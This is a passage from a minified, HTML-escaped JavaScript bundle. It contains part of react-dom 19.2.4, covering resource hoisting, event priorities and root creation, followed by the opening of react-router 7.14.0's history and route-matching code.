Promise(function(C,L){S.onload=C,S.onerror=L}),S.addEventListener(&quot;load&quot;,function(){h.loading|=1}),S.addEventListener(&quot;error&quot;,function(){h.loading|=2}),h.loading|=4,ci(o,t,l)}o={type:&quot;stylesheet&quot;,instance:o,count:1,state:h},s.set(i,o)}}}function bp(e,t){ja.X(e,t);var a=Fl;if(a&amp;&amp;e){var l=gl(a).hoistableScripts,s=Pl(e),i=l.get(s);i||(i=a.querySelector(Zn(s)),i||(e=b({src:e,async:!0},t),(t=Qt.get(s))&amp;&amp;qc(e,t),i=a.createElement(&quot;script&quot;),lt(i),rt(i,&quot;link&quot;,e),a.head.appendChild(i)),i={type:&quot;script&quot;,instance:i,count:1,state:null},l.set(s,i))}}function jp(e,t){ja.M(e,t);var a=Fl;if(a&amp;&amp;e){var l=gl(a).hoistableScripts,s=Pl(e),i=l.get(s);i||(i=a.querySelector(Zn(s)),i||(e=b({src:e,async:!0,type:&quot;module&quot;},t),(t=Qt.get(s))&amp;&amp;qc(e,t),i=a.createElement(&quot;script&quot;),lt(i),rt(i,&quot;link&quot;,e),a.head.appendChild(i)),i={type:&quot;script&quot;,instance:i,count:1,state:null},l.set(s,i))}}function Wf(e,t,a,l){var s=(s=ve.current)?ui(s):null;if(!s)throw Error(r(446));switch(e){case&quot;meta&quot;:case&quot;title&quot;:return null;case&quot;style&quot;:return typeof a.precedence==&quot;string&quot;&amp;&amp;typeof a.href==&quot;string&quot;?(t=Wl(a.href),a=gl(s).hoistableStyles,l=a.get(t),l||(l={type:&quot;style&quot;,instance:null,count:0,state:null},a.set(t,l)),l):{type:&quot;void&quot;,instance:null,count:0,state:null};case&quot;link&quot;:if(a.rel===&quot;stylesheet&quot;&amp;&amp;typeof a.href==&quot;string&quot;&amp;&amp;typeof a.precedence==&quot;string&quot;){e=Wl(a.href);var i=gl(s).hoistableStyles,o=i.get(e);if(o||(s=s.ownerDocument||s,o={type:&quot;stylesheet&quot;,instance:null,count:0,state:{loading:0,preload:null}},i.set(e,o),(i=s.querySelector(Vn(e)))&amp;&amp;!i._p&amp;&amp;(o.instance=i,o.state.loading=5),Qt.has(e)||(a={rel:&quot;preload&quot;,as:&quot;style&quot;,href:a.href,crossOrigin:a.crossOrigin,integrity:a.integrity,media:a.media,hrefLang:a.hrefLang,referrerPolicy:a.referrerPolicy},Qt.set(e,a),i||Sp(s,e,a,o.state))),t&amp;&amp;l===null)throw Error(r(528,&quot;&quot;));return o}if(t&amp;&amp;l!==null)throw Error(r(529,&quot;&quot;));return null;case&quot;script&quot;:return t=a.async,a=a.src,typeof a==&quot;string&quot;&amp;&amp;t&amp;&amp;typeof t!=&quot;function&quot;&amp;&amp;typeof t!=&quot;symbol&quot;?(t=Pl(a),a=gl(s).hoistableScripts,l=a.get(t),l||(l={type:&quot;script&quot;,instance:null,count:0,state:null},a.set(t,l)),l):{type:&quot;void&quot;,instance:null,count:0,state:null};default:throw Error(r(444,e))}}function Wl(e){return&#039;href=&quot;&#039;+Ut(e)+&#039;&quot;&#039;}function Vn(e){return&#039;link[rel=&quot;stylesheet&quot;][&#039;+e+&quot;]&quot;}function Pf(e){return b({},e,{&quot;data-precedence&quot;:e.precedence,precedence:null})}function Sp(e,t,a,l){e.querySelector(&#039;link[rel=&quot;preload&quot;][as=&quot;style&quot;][&#039;+t+&quot;]&quot;)?l.loading=1:(t=e.createElement(&quot;link&quot;),l.preload=t,t.addEventListener(&quot;load&quot;,function(){return l.loading|=1}),t.addEventListener(&quot;error&quot;,function(){return l.loading|=2}),rt(t,&quot;link&quot;,a),lt(t),e.head.appendChild(t))}function Pl(e){return&#039;[src=&quot;&#039;+Ut(e)+&#039;&quot;]&#039;}function Zn(e){return&quot;script[async]&quot;+e}function If(e,t,a){if(t.count++,t.instance===null)switch(t.type){case&quot;style&quot;:var l=e.querySelector(&#039;style[data-href~=&quot;&#039;+Ut(a.href)+&#039;&quot;]&#039;);if(l)return t.instance=l,lt(l),l;var s=b({},a,{&quot;data-href&quot;:a.href,&quot;data-precedence&quot;:a.precedence,href:null,precedence:null});return l=(e.ownerDocument||e).createElement(&quot;style&quot;),lt(l),rt(l,&quot;style&quot;,s),ci(l,a.precedence,e),t.instance=l;case&quot;stylesheet&quot;:s=Wl(a.href);var i=e.querySelector(Vn(s));if(i)return t.state.loading|=4,t.instance=i,lt(i),i;l=Pf(a),(s=Qt.get(s))&amp;&amp;Hc(l,s),i=(e.ownerDocument||e).createElement(&quot;link&quot;),lt(i);var o=i;return o._p=new Promise(function(h,S){o.onload=h,o.onerror=S}),rt(i,&quot;link&quot;,l),t.state.loading|=4,ci(i,a.precedence,e),t.instance=i;case&quot;script&quot;:return i=Pl(a.src),(s=e.querySelector(Zn(i)))?(t.instance=s,lt(s),s):(l=a,(s=Qt.get(i))&amp;&amp;(l=b({},a),qc(l,s)),e=e.ownerDocument||e,s=e.createElement(&quot;script&quot;),lt(s),rt(s,&quot;link&quot;,l),e.head.appendChild(s),t.instance=s);case&quot;void&quot;:return null;default:throw Error(r(443,t.type))}else t.type===&quot;stylesheet&quot;&amp;&amp;(t.state.loading&amp;4)===0&amp;&amp;(l=t.instance,t.state.loading|=4,ci(l,a.precedence,e));return t.instance}function ci(e,t,a){for(var l=a.querySelectorAll(&#039;link[rel=&quot;stylesheet&quot;][data-precedence],style[data-precedence]&#039;),s=l.length?l[l.length-1]:null,i=s,o=0;o&lt;l.length;o++){var h=l[o];if(h.dataset.precedence===t)i=h;else if(i!==s)break}i?i.parentNode.insertBefore(e,i.nextSibling):(t=a.nodeType===9?a.head:a,t.insertBefore(e,t.firstChild))}function Hc(e,t){e.crossOrigin==null&amp;&amp;(e.crossOrigin=t.crossOrigin),e.referrerPolicy==null&amp;&amp;(e.referrerPolicy=t.referrerPolicy),e.title==null&amp;&amp;(e.title=t.title)}function qc(e,t){e.crossOrigin==null&amp;&amp;(e.crossOrigin=t.crossOrigin),e.referrerPolicy==null&amp;&amp;(e.referrerPolicy=t.referrerPolicy),e.integrity==null&amp;&amp;(e.integrity=t.integrity)}var ri=null;function em(e,t,a){if(ri===null){var l=new Map,s=ri=new Map;s.set(a,l)}else s=ri,l=s.get(a),l||(l=new Map,s.set(a,l));if(l.has(e))return l;for(l.set(e,null),a=a.getElementsByTagName(e),s=0;s&lt;a.length;s++){var i=a[s];if(!(i[cn]||i[st]||e===&quot;link&quot;&amp;&amp;i.getAttribute(&quot;rel&quot;)===&quot;stylesheet&quot;)&amp;&amp;i.namespaceURI!==&quot;http://www.w3.org/2000/svg&quot;){var o=i.getAttribute(t)||&quot;&quot;;o=e+o;var h=l.get(o);h?h.push(i):l.set(o,[i])}}return l}function tm(e,t,a){e=e.ownerDocument||e,e.head.insertBefore(a,t===&quot;title&quot;?e.querySelector(&quot;head &gt; title&quot;):null)}function Np(e,t,a){if(a===1||t.itemProp!=null)return!1;switch(e){case&quot;meta&quot;:case&quot;title&quot;:return!0;case&quot;style&quot;:if(typeof t.precedence!=&quot;string&quot;||typeof t.href!=&quot;string&quot;||t.href===&quot;&quot;)break;return!0;case&quot;link&quot;:if(typeof t.rel!=&quot;string&quot;||typeof t.href!=&quot;string&quot;||t.href===&quot;&quot;||t.onLoad||t.onError)break;switch(t.rel){case&quot;stylesheet&quot;:return e=t.disabled,typeof t.precedence==&quot;string&quot;&amp;&amp;e==null;default:return!0}case&quot;script&quot;:if(t.async&amp;&amp;typeof t.async!=&quot;function&quot;&amp;&amp;typeof t.async!=&quot;symbol&quot;&amp;&amp;!t.onLoad&amp;&amp;!t.onError&amp;&amp;t.src&amp;&amp;typeof t.src==&quot;string&quot;)return!0}return!1}function am(e){return!(e.type===&quot;stylesheet&quot;&amp;&amp;(e.state.loading&amp;3)===0)}function Ep(e,t,a,l){if(a.type===&quot;stylesheet&quot;&amp;&amp;(typeof l.media!=&quot;string&quot;||matchMedia(l.media).matches!==!1)&amp;&amp;(a.state.loading&amp;4)===0){if(a.instance===null){var s=Wl(l.href),i=t.querySelector(Vn(s));if(i){t=i._p,t!==null&amp;&amp;typeof t==&quot;object&quot;&amp;&amp;typeof t.then==&quot;function&quot;&amp;&amp;(e.count++,e=oi.bind(e),t.then(e,e)),a.state.loading|=4,a.instance=i,lt(i);return}i=t.ownerDocument||t,l=Pf(l),(s=Qt.get(s))&amp;&amp;Hc(l,s),i=i.createElement(&quot;link&quot;),lt(i);var o=i;o._p=new Promise(function(h,S){o.onload=h,o.onerror=S}),rt(i,&quot;link&quot;,l),a.instance=i}e.stylesheets===null&amp;&amp;(e.stylesheets=new Map),e.stylesheets.set(a,t),(t=a.state.preload)&amp;&amp;(a.state.loading&amp;3)===0&amp;&amp;(e.count++,a=oi.bind(e),t.addEventListener(&quot;load&quot;,a),t.addEventListener(&quot;error&quot;,a))}}var Bc=0;function _p(e,t){return e.stylesheets&amp;&amp;e.count===0&amp;&amp;fi(e,e.stylesheets),0&lt;e.count||0&lt;e.imgCount?function(a){var l=setTimeout(function(){if(e.stylesheets&amp;&amp;fi(e,e.stylesheets),e.unsuspend){var i=e.unsuspend;e.unsuspend=null,i()}},6e4+t);0&lt;e.imgBytes&amp;&amp;Bc===0&amp;&amp;(Bc=62500*sp());var s=setTimeout(function(){if(e.waitingForImages=!1,e.count===0&amp;&amp;(e.stylesheets&amp;&amp;fi(e,e.stylesheets),e.unsuspend)){var i=e.unsuspend;e.unsuspend=null,i()}},(e.imgBytes&gt;Bc?50:800)+t);return e.unsuspend=a,function(){e.unsuspend=null,clearTimeout(l),clearTimeout(s)}}:null}function oi(){if(this.count--,this.count===0&amp;&amp;(this.imgCount===0||!this.waitingForImages)){if(this.stylesheets)fi(this,this.stylesheets);else if(this.unsuspend){var e=this.unsuspend;this.unsuspend=null,e()}}}var di=null;function fi(e,t){e.stylesheets=null,e.unsuspend!==null&amp;&amp;(e.count++,di=new Map,t.forEach(Tp,e),di=null,oi.call(e))}function Tp(e,t){if(!(t.state.loading&amp;4)){var a=di.get(e);if(a)var l=a.get(null);else{a=new Map,di.set(e,a);for(var s=e.querySelectorAll(&quot;link[data-precedence],style[data-precedence]&quot;),i=0;i&lt;s.length;i++){var o=s[i];(o.nodeName===&quot;LINK&quot;||o.getAttribute(&quot;media&quot;)!==&quot;not all&quot;)&amp;&amp;(a.set(o.dataset.precedence,o),l=o)}l&amp;&amp;a.set(null,l)}s=t.instance,o=s.getAttribute(&quot;data-precedence&quot;),i=a.get(o)||l,i===l&amp;&amp;a.set(null,s),a.set(o,s),this.count++,l=oi.bind(this),s.addEventListener(&quot;load&quot;,l),s.addEventListener(&quot;error&quot;,l),i?i.parentNode.insertBefore(s,i.nextSibling):(e=e.nodeType===9?e.head:e,e.insertBefore(s,e.firstChild)),t.state.loading|=4}}var Jn={$$typeof:K,Provider:null,Consumer:null,_currentValue:ie,_currentValue2:ie,_threadCount:0};function Ap(e,t,a,l,s,i,o,h,S){this.tag=1,this.containerInfo=e,this.pingCache=this.current=this.pendingChildren=null,this.timeoutHandle=-1,this.callbackNode=this.next=this.pendingContext=this.context=this.cancelPendingCommit=null,this.callbackPriority=0,this.expirationTimes=Di(-1),this.entangledLanes=this.shellSuspendCounter=this.errorRecoveryDisabledLanes=this.expiredLanes=this.warmLanes=this.pingedLanes=this.suspendedLanes=this.pendingLanes=0,this.entanglements=Di(0),this.hiddenUpdates=Di(null),this.identifierPrefix=l,this.onUncaughtError=s,this.onCaughtError=i,this.onRecoverableError=o,this.pooledCache=null,this.pooledCacheLanes=0,this.formState=S,this.incompleteTransitions=new Map}function lm(e,t,a,l,s,i,o,h,S,C,L,Z){return e=new Ap(e,t,a,o,S,C,L,Z,h),t=1,i===!0&amp;&amp;(t|=24),i=Tt(3,null,null,t),e.current=i,i.stateNode=e,t=vu(),t.refCount++,e.pooledCache=t,t.refCount++,i.memoizedState={element:l,isDehydrated:a,cache:t},ju(i),e}function nm(e){return e?(e=zl,e):zl}function sm(e,t,a,l,s,i){s=nm(s),l.context===null?l.context=s:l.pendingContext=s,l=Ra(t),l.payload={element:a},i=i===void 0?null:i,i!==null&amp;&amp;(l.callback=i),a=Da(e,l,t),a!==null&amp;&amp;(jt(a,e,t),_n(a,e,t))}function im(e,t){if(e=e.memoizedState,e!==null&amp;&amp;e.dehydrated!==null){var a=e.retryLane;e.retryLane=a!==0&amp;&amp;a&lt;t?a:t}}function Lc(e,t){im(e,t),(e=e.alternate)&amp;&amp;im(e,t)}function um(e){if(e.tag===13||e.tag===31){var t=tl(e,67108864);t!==null&amp;&amp;jt(t,e,67108864),Lc(e,67108864)}}function cm(e){if(e.tag===13||e.tag===31){var t=wt();t=Mi(t);var a=tl(e,t);a!==null&amp;&amp;jt(a,e,t),Lc(e,t)}}var mi=!0;function Cp(e,t,a,l){var s=w.T;w.T=null;var i=Y.p;try{Y.p=2,kc(e,t,a,l)}finally{Y.p=i,w.T=s}}function zp(e,t,a,l){var s=w.T;w.T=null;var i=Y.p;try{Y.p=8,kc(e,t,a,l)}finally{Y.p=i,w.T=s}}function kc(e,t,a,l){if(mi){var s=Gc(l);if(s===null)Tc(e,t,l,hi,a),om(e,l);else if(wp(s,e,t,a,l))l.stopPropagation();else if(om(e,l),t&amp;4&amp;&amp;-1&lt;Op.indexOf(e)){for(;s!==null;){var i=yl(s);if(i!==null)switch(i.tag){case 3:if(i=i.stateNode,i.current.memoizedState.isDehydrated){var o=Fa(i.pendingLanes);if(o!==0){var h=i;for(h.pendingLanes|=2,h.entangledLanes|=2;o;){var S=1&lt;&lt;31-Et(o);h.entanglements[1]|=S,o&amp;=~S}ta(i),(De&amp;6)===0&amp;&amp;(Fs=St()+500,Gn(0))}}break;case 31:case 13:h=tl(i,2),h!==null&amp;&amp;jt(h,i,2),Ps(),Lc(i,2)}if(i=Gc(l),i===null&amp;&amp;Tc(e,t,l,hi,a),i===s)break;s=i}s!==null&amp;&amp;l.stopPropagation()}else Tc(e,t,l,null,a)}}function Gc(e){return e=Qi(e),Yc(e)}var hi=null;function Yc(e){if(hi=null,e=vl(e),e!==null){var t=p(e);if(t===null)e=null;else{var a=t.tag;if(a===13){if(e=y(t),e!==null)return e;e=null}else if(a===31){if(e=v(t),e!==null)return e;e=null}else if(a===3){if(t.stateNode.current.memoizedState.isDehydrated)return t.tag===3?t.stateNode.containerInfo:null;e=null}else t!==e&amp;&amp;(e=null)}}return hi=e,null}function rm(e){switch(e){case&quot;beforetoggle&quot;:case&quot;cancel&quot;:case&quot;click&quot;:case&quot;close&quot;:case&quot;contextmenu&quot;:case&quot;copy&quot;:case&quot;cut&quot;:case&quot;auxclick&quot;:case&quot;dblclick&quot;:case&quot;dragend&quot;:case&quot;dragstart&quot;:case&quot;drop&quot;:case&quot;focusin&quot;:case&quot;focusout&quot;:case&quot;input&quot;:case&quot;invalid&quot;:case&quot;keydown&quot;:case&quot;keypress&quot;:case&quot;keyup&quot;:case&quot;mousedown&quot;:case&quot;mouseup&quot;:case&quot;paste&quot;:case&quot;pause&quot;:case&quot;play&quot;:case&quot;pointercancel&quot;:case&quot;pointerdown&quot;:case&quot;pointerup&quot;:case&quot;ratechange&quot;:case&quot;reset&quot;:case&quot;resize&quot;:case&quot;seeked&quot;:case&quot;submit&quot;:case&quot;toggle&quot;:case&quot;touchcancel&quot;:case&quot;touchend&quot;:case&quot;touchstart&quot;:case&quot;volumechange&quot;:case&quot;change&quot;:case&quot;selectionchange&quot;:case&quot;textInput&quot;:case&quot;compositionstart&quot;:case&quot;compositionend&quot;:case&quot;compositionupdate&quot;:case&quot;beforeblur&quot;:case&quot;afterblur&quot;:case&quot;beforeinput&quot;:case&quot;blur&quot;:case&quot;fullscreenchange&quot;:case&quot;focus&quot;:case&quot;hashchange&quot;:case&quot;popstate&quot;:case&quot;select&quot;:case&quot;selectstart&quot;:return 2;case&quot;drag&quot;:case&quot;dragenter&quot;:case&quot;dragexit&quot;:case&quot;dragleave&quot;:case&quot;dragover&quot;:case&quot;mousemove&quot;:case&quot;mouseout&quot;:case&quot;mouseover&quot;:case&quot;pointermove&quot;:case&quot;pointerout&quot;:case&quot;pointerover&quot;:case&quot;scroll&quot;:case&quot;touchmove&quot;:case&quot;wheel&quot;:case&quot;mouseenter&quot;:case&quot;mouseleave&quot;:case&quot;pointerenter&quot;:case&quot;pointerleave&quot;:return 8;case&quot;message&quot;:switch(ph()){case pr:return 2;case xr:return 8;case ls:case xh:return 32;case vr:return 268435456;default:return 32}default:return 32}}var Qc=!1,Xa=null,Va=null,Za=null,$n=new Map,Kn=new Map,Ja=[],Op=&quot;mousedown mouseup touchcancel touchend touchstart auxclick dblclick pointercancel pointerdown pointerup dragend dragstart drop compositionend compositionstart keydown keypress keyup input textInput copy cut paste click change contextmenu reset&quot;.split(&quot; &quot;);function om(e,t){switch(e){case&quot;focusin&quot;:case&quot;focusout&quot;:Xa=null;break;case&quot;dragenter&quot;:case&quot;dragleave&quot;:Va=null;break;case&quot;mouseover&quot;:case&quot;mouseout&quot;:Za=null;break;case&quot;pointerover&quot;:case&quot;pointerout&quot;:$n.delete(t.pointerId);break;case&quot;gotpointercapture&quot;:case&quot;lostpointercapture&quot;:Kn.delete(t.pointerId)}}function Fn(e,t,a,l,s,i){return e===null||e.nativeEvent!==i?(e={blockedOn:t,domEventName:a,eventSystemFlags:l,nativeEvent:i,targetContainers:[s]},t!==null&amp;&amp;(t=yl(t),t!==null&amp;&amp;um(t)),e):(e.eventSystemFlags|=l,t=e.targetContainers,s!==null&amp;&amp;t.indexOf(s)===-1&amp;&amp;t.push(s),e)}function wp(e,t,a,l,s){switch(t){case&quot;focusin&quot;:return Xa=Fn(Xa,e,t,a,l,s),!0;case&quot;dragenter&quot;:return Va=Fn(Va,e,t,a,l,s),!0;case&quot;mouseover&quot;:return Za=Fn(Za,e,t,a,l,s),!0;case&quot;pointerover&quot;:var i=s.pointerId;return $n.set(i,Fn($n.get(i)||null,e,t,a,l,s)),!0;case&quot;gotpointercapture&quot;:return i=s.pointerId,Kn.set(i,Fn(Kn.get(i)||null,e,t,a,l,s)),!0}return!1}function dm(e){var t=vl(e.target);if(t!==null){var a=p(t);if(a!==null){if(t=a.tag,t===13){if(t=y(a),t!==null){e.blockedOn=t,Nr(e.priority,function(){cm(a)});return}}else if(t===31){if(t=v(a),t!==null){e.blockedOn=t,Nr(e.priority,function(){cm(a)});return}}else if(t===3&amp;&amp;a.stateNode.current.memoizedState.isDehydrated){e.blockedOn=a.tag===3?a.stateNode.containerInfo:null;return}}}e.blockedOn=null}function pi(e){if(e.blockedOn!==null)return!1;for(var t=e.targetContainers;0&lt;t.length;){var a=Gc(e.nativeEvent);if(a===null){a=e.nativeEvent;var l=new a.constructor(a.type,a);Yi=l,a.target.dispatchEvent(l),Yi=null}else return t=yl(a),t!==null&amp;&amp;um(t),e.blockedOn=a,!1;t.shift()}return!0}function fm(e,t,a){pi(e)&amp;&amp;a.delete(t)}function Rp(){Qc=!1,Xa!==null&amp;&amp;pi(Xa)&amp;&amp;(Xa=null),Va!==null&amp;&amp;pi(Va)&amp;&amp;(Va=null),Za!==null&amp;&amp;pi(Za)&amp;&amp;(Za=null),$n.forEach(fm),Kn.forEach(fm)}function xi(e,t){e.blockedOn===t&amp;&amp;(e.blockedOn=null,Qc||(Qc=!0,u.unstable_scheduleCallback(u.unstable_NormalPriority,Rp)))}var vi=null;function mm(e){vi!==e&amp;&amp;(vi=e,u.unstable_scheduleCallback(u.unstable_NormalPriority,function(){vi===e&amp;&amp;(vi=null);for(var t=0;t&lt;e.length;t+=3){var a=e[t],l=e[t+1],s=e[t+2];if(typeof l!=&quot;function&quot;){if(Yc(l||a)===null)continue;break}var i=yl(a);i!==null&amp;&amp;(e.splice(t,3),t-=3,Gu(i,{pending:!0,data:s,method:a.method,action:l},l,s))}}))}function Il(e){function t(S){return xi(S,e)}Xa!==null&amp;&amp;xi(Xa,e),Va!==null&amp;&amp;xi(Va,e),Za!==null&amp;&amp;xi(Za,e),$n.forEach(t),Kn.forEach(t);for(var a=0;a&lt;Ja.length;a++){var l=Ja[a];l.blockedOn===e&amp;&amp;(l.blockedOn=null)}for(;0&lt;Ja.length&amp;&amp;(a=Ja[0],a.blockedOn===null);)dm(a),a.blockedOn===null&amp;&amp;Ja.shift();if(a=(e.ownerDocument||e).$$reactFormReplay,a!=null)for(l=0;l&lt;a.length;l+=3){var s=a[l],i=a[l+1],o=s[pt]||null;if(typeof i==&quot;function&quot;)o||mm(a);else if(o){var h=null;if(i&amp;&amp;i.hasAttribute(&quot;formAction&quot;)){if(s=i,o=i[pt]||null)h=o.formAction;else if(Yc(s)!==null)continue}else h=o.action;typeof h==&quot;function&quot;?a[l+1]=h:(a.splice(l,3),l-=3),mm(a)}}}function hm(){function e(i){i.canIntercept&amp;&amp;i.info===&quot;react-transition&quot;&amp;&amp;i.intercept({handler:function(){return new Promise(function(o){return s=o})},focusReset:&quot;manual&quot;,scroll:&quot;manual&quot;})}function t(){s!==null&amp;&amp;(s(),s=null),l||setTimeout(a,20)}function a(){if(!l&amp;&amp;!navigation.transition){var i=navigation.currentEntry;i&amp;&amp;i.url!=null&amp;&amp;navigation.navigate(i.url,{state:i.getState(),info:&quot;react-transition&quot;,history:&quot;replace&quot;})}}if(typeof navigation==&quot;object&quot;){var l=!1,s=null;return navigation.addEventListener(&quot;navigate&quot;,e),navigation.addEventListener(&quot;navigatesuccess&quot;,t),navigation.addEventListener(&quot;navigateerror&quot;,t),setTimeout(a,100),function(){l=!0,navigation.removeEventListener(&quot;navigate&quot;,e),navigation.removeEventListener(&quot;navigatesuccess&quot;,t),navigation.removeEventListener(&quot;navigateerror&quot;,t),s!==null&amp;&amp;(s(),s=null)}}}function Xc(e){this._internalRoot=e}yi.prototype.render=Xc.prototype.render=function(e){var t=this._internalRoot;if(t===null)throw Error(r(409));var a=t.current,l=wt();sm(a,l,e,t,null,null)},yi.prototype.unmount=Xc.prototype.unmount=function(){var e=this._internalRoot;if(e!==null){this._internalRoot=null;var t=e.containerInfo;sm(e.current,2,null,e,null,null),Ps(),t[xl]=null}};function yi(e){this._internalRoot=e}yi.prototype.unstable_scheduleHydration=function(e){if(e){var t=Sr();e={blockedOn:null,target:e,priority:t};for(var a=0;a&lt;Ja.length&amp;&amp;t!==0&amp;&amp;t&lt;Ja[a].priority;a++);Ja.splice(a,0,e),a===0&amp;&amp;dm(e)}};var pm=c.version;if(pm!==&quot;19.2.4&quot;)throw Error(r(527,pm,&quot;19.2.4&quot;));Y.findDOMNode=function(e){var t=e._reactInternals;if(t===void 0)throw typeof e.render==&quot;function&quot;?Error(r(188)):(e=Object.keys(e).join(&quot;,&quot;),Error(r(268,e)));return e=x(t),e=e!==null?N(e):null,e=e===null?null:e.stateNode,e};var Dp={bundleType:0,version:&quot;19.2.4&quot;,rendererPackageName:&quot;react-dom&quot;,currentDispatcherRef:w,reconcilerVersion:&quot;19.2.4&quot;};if(typeof __REACT_DEVTOOLS_GLOBAL_HOOK__&lt;&quot;u&quot;){var gi=__REACT_DEVTOOLS_GLOBAL_HOOK__;if(!gi.isDisabled&amp;&amp;gi.supportsFiber)try{nn=gi.inject(Dp),Nt=gi}catch{}}return Pn.createRoot=function(e,t){if(!f(e))throw Error(r(299));var a=!1,l=&quot;&quot;,s=jd,i=Sd,o=Nd;return t!=null&amp;&amp;(t.unstable_strictMode===!0&amp;&amp;(a=!0),t.identifierPrefix!==void 0&amp;&amp;(l=t.identifierPrefix),t.onUncaughtError!==void 0&amp;&amp;(s=t.onUncaughtError),t.onCaughtError!==void 0&amp;&amp;(i=t.onCaughtError),t.onRecoverableError!==void 0&amp;&amp;(o=t.onRecoverableError)),t=lm(e,1,!1,null,null,a,l,null,s,i,o,hm),e[xl]=t.current,_c(e),new Xc(t)},Pn.hydrateRoot=function(e,t,a){if(!f(e))throw Error(r(299));var l=!1,s=&quot;&quot;,i=jd,o=Sd,h=Nd,S=null;return a!=null&amp;&amp;(a.unstable_strictMode===!0&amp;&amp;(l=!0),a.identifierPrefix!==void 0&amp;&amp;(s=a.identifierPrefix),a.onUncaughtError!==void 0&amp;&amp;(i=a.onUncaughtError),a.onCaughtError!==void 0&amp;&amp;(o=a.onCaughtError),a.onRecoverableError!==void 0&amp;&amp;(h=a.onRecoverableError),a.formState!==void 0&amp;&amp;(S=a.formState)),t=lm(e,1,!0,t,a??null,l,s,S,i,o,h,hm),t.context=nm(null),a=t.current,l=wt(),l=Mi(l),s=Ra(l),s.callback=null,Da(a,s,l),a=l,t.current.lanes=a,un(t,a),ta(t),e[xl]=t.current,_c(e),new yi(t)},Pn.version=&quot;19.2.4&quot;,Pn}var _m;function Vp(){if(_m)return $c.exports;_m=1;function u(){if(!(typeof __REACT_DEVTOOLS_GLOBAL_HOOK__&gt;&quot;u&quot;||typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE!=&quot;function&quot;))try{__REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE(u)}catch(c){console.error(c)}}return u(),$c.exports=Xp(),$c.exports}var Zp=Vp();/**
 * react-router v7.14.0
 *
 * Copyright (c) Remix Software Inc.
 *
 * This source code is licensed under the MIT license found in the
 * LICENSE.md file in the root directory of this source tree.
 *
 * @license MIT
 */var Tm=&quot;popstate&quot;;function Am(u){return typeof u==&quot;object&quot;&amp;&amp;u!=null&amp;&amp;&quot;pathname&quot;in u&amp;&amp;&quot;search&quot;in u&amp;&amp;&quot;hash&quot;in u&amp;&amp;&quot;state&quot;in u&amp;&amp;&quot;key&quot;in u}function Jp(u={}){function c(r,f){var x;let p=(x=f.state)==null?void 0:x.masked,{pathname:y,search:v,hash:g}=p||r.location;return tr(&quot;&quot;,{pathname:y,search:v,hash:g},f.state&amp;&amp;f.state.usr||null,f.state&amp;&amp;f.state.key||&quot;default&quot;,p?{pathname:r.location.pathname,search:r.location.search,hash:r.location.hash}:void 0)}function d(r,f){return typeof f==&quot;string&quot;?f:es(f)}return Kp(c,d,null,u)}function Xe(u,c){if(u===!1||u===null||typeof u&gt;&quot;u&quot;)throw new Error(c)}function Kt(u,c){if(!u){typeof console&lt;&quot;u&quot;&amp;&amp;console.warn(c);try{throw new Error(c)}catch{}}}function $p(){return Math.random().toString(36).substring(2,10)}function Cm(u,c){return{usr:u.state,key:u.key,idx:c,masked:u.unstable_mask?{pathname:u.pathname,search:u.search,hash:u.hash}:void 0}}function tr(u,c,d=null,r,f){return{pathname:typeof u==&quot;string&quot;?u:u.pathname,search:&quot;&quot;,hash:&quot;&quot;,...typeof c==&quot;string&quot;?tn(c):c,state:d,key:c&amp;&amp;c.key||r||$p(),unstable_mask:f}}function es({pathname:u=&quot;/&quot;,search:c=&quot;&quot;,hash:d=&quot;&quot;}){return c&amp;&amp;c!==&quot;?&quot;&amp;&amp;(u+=c.charAt(0)===&quot;?&quot;?c:&quot;?&quot;+c),d&amp;&amp;d!==&quot;#&quot;&amp;&amp;(u+=d.charAt(0)===&quot;#&quot;?d:&quot;#&quot;+d),u}function tn(u){let c={};if(u){let d=u.indexOf(&quot;#&quot;);d&gt;=0&amp;&amp;(c.hash=u.substring(d),u=u.substring(0,d));let r=u.indexOf(&quot;?&quot;);r&gt;=0&amp;&amp;(c.search=u.substring(r),u=u.substring(0,r)),u&amp;&amp;(c.pathname=u)}return c}function Kp(u,c,d,r={}){let{window:f=document.defaultView,v5Compat:p=!1}=r,y=f.history,v=&quot;POP&quot;,g=null,x=N();x==null&amp;&amp;(x=0,y.replaceState({...y.state,idx:x},&quot;&quot;));function N(){return(y.state||{idx:null}).idx}function b(){v=&quot;POP&quot;;let M=N(),k=M==null?null:M-x;x=M,g&amp;&amp;g({action:v,location:H.location,delta:k})}function T(M,k){v=&quot;PUSH&quot;;let F=Am(M)?M:tr(H.location,M,k);x=N()+1;let K=Cm(F,x),ee=H.createHref(F.unstable_mask||F);try{y.pushState(K,&quot;&quot;,ee)}catch(I){if(I instanceof DOMException&amp;&amp;I.name===&quot;DataCloneError&quot;)throw I;f.location.assign(ee)}p&amp;&amp;g&amp;&amp;g({action:v,location:H.location,delta:1})}function G(M,k){v=&quot;REPLACE&quot;;let F=Am(M)?M:tr(H.location,M,k);x=N();let K=Cm(F,x),ee=H.createHref(F.unstable_mask||F);y.replaceState(K,&quot;&quot;,ee),p&amp;&amp;g&amp;&amp;g({action:v,location:H.location,delta:0})}function O(M){return Fp(M)}let H={get action(){return v},get location(){return u(f,y)},listen(M){if(g)throw new Error(&quot;A history only accepts one active listener&quot;);return f.addEventListener(Tm,b),g=M,()=&gt;{f.removeEventListener(Tm,b),g=null}},createHref(M){return c(f,M)},createURL:O,encodeLocation(M){let k=O(M);return{pathname:k.pathname,search:k.search,hash:k.hash}},push:T,replace:G,go(M){return y.go(M)}};return H}function Fp(u,c=!1){let d=&quot;http://localhost&quot;;typeof window&lt;&quot;u&quot;&amp;&amp;(d=window.location.origin!==&quot;null&quot;?window.location.origin:window.location.href),Xe(d,&quot;No window.location.(origin|href) available to create URL&quot;);let r=typeof u==&quot;string&quot;?u:es(u);return r=r.replace(/ $/,&quot;%20&quot;),!c&amp;&amp;r.startsWith(&quot;//&quot;)&amp;&amp;(r=d+r),new URL(r,d)}function Gm(u,c,d=&quot;/&quot;){return Wp(u,c,d,!1)}function Wp(u,c,d,r){let f=typeof c==&quot;string&quot;?tn(c):c,p=Sa(f.pathname||&quot;/&quot;,d);if(p==null)return null;let y=Ym(u);Pp(y);let v=null;for(let g=0;v==null&amp;&amp;g&lt;y.length;++g){let x=rx(p);v=ux(y[g],x,r)}return v}function Ym(u,c=[],d=[],r=&quot;&quot;,f=!1){let p=(y,v,g=f,x)=&gt;{let N={relativePath:x===void 